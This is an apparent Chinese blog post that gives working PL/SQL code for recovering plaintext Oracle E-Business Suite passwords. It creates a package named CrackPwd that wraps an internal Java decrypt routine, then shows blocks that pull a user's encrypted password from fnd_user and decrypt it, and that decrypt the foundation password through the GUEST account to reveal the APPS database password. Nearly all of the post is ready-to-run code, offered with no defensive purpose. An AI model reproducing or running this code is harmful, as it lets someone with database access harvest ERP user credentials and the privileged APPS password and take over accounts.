查詢ORACLE 數據庫密碼和ERP 密碼

1)先建立Package

CREATE OR REPLACE PACKAGE APPS.CrackPwd AUTHID CURRENT_USER
AS
   FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
      RETURN VARCHAR2;
END CrackPwd;
/

CREATE OR REPLACE PACKAGE BODY APPS.CrackPwd
AS
   FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CrackPwd;
/

2)建立後可以直接執行下面SQL

  DECLARE
   v_encrypted_pwd   VARCHAR2 (100);
   v_apps_pwd        VARCHAR2 (100);
   v_user_pwd        VARCHAR (100);
BEGIN
  -- v_encrypted_pwd :='ZGF8C9616AD138A7F985E6316F55717D0F4EC37064A09A7F4DC67961E60A3880D8B00B3018595A4FB3E95B632AACC3376B61';
  select ENCRYPTED_USER_PASSWORD into v_encrypted_pwd from fnd_user where user_name='GAOLEI'; -----ERP帳號
--get  ENCRYPTED_USER_PASSWORD from fnd_user
   IF v_apps_pwd IS NULL
   THEN
      v_apps_pwd := 'APPSDEV3';  ------DB數據庫名字
   END IF;

   v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
   DBMS_OUTPUT.put_line (v_user_pwd);
END;

3)查詢數據庫名字(前提是要進入數據庫)

SET SERVEROUTPUT ON
DECLARE
  guestUserPwd VARCHAR2(200);
  guestUserName VARCHAR2(100);
  guestFndPwd VARCHAR2(100);
  guestEncFndPwd VARCHAR2(100);
  delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF  guestUserPwd IS NULL THEN
         guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
  END IF;
  DBMS_OUTPUT.put_line(guestUserPwd);
  delim := INSTR(guestUserPwd,'/');
  guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
  DBMS_OUTPUT.put_line(guestUserName);
   SELECT encrypted_foundation_password INTO guestEncFndPwd
  FROM fnd_user_view
  WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
    (end_date IS NULL OR end_date > SYSDATE);
     guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
    IF NOT (guestFndPwd IS NULL) THEN
       DBMS_OUTPUT.put_line(guestFndPwd);
    END IF;
END;

 

keim,毕业于安徽科技学院理学院,2003年开始对Web开发有浓厚的兴趣,并专注于C#/java Web开发,软件架构设计、分布式相关、项目管理、前端设计等等,实战派...
posted @ 2011-05-27 11:42  夜色狼  阅读(289)  评论(0编辑  收藏  举报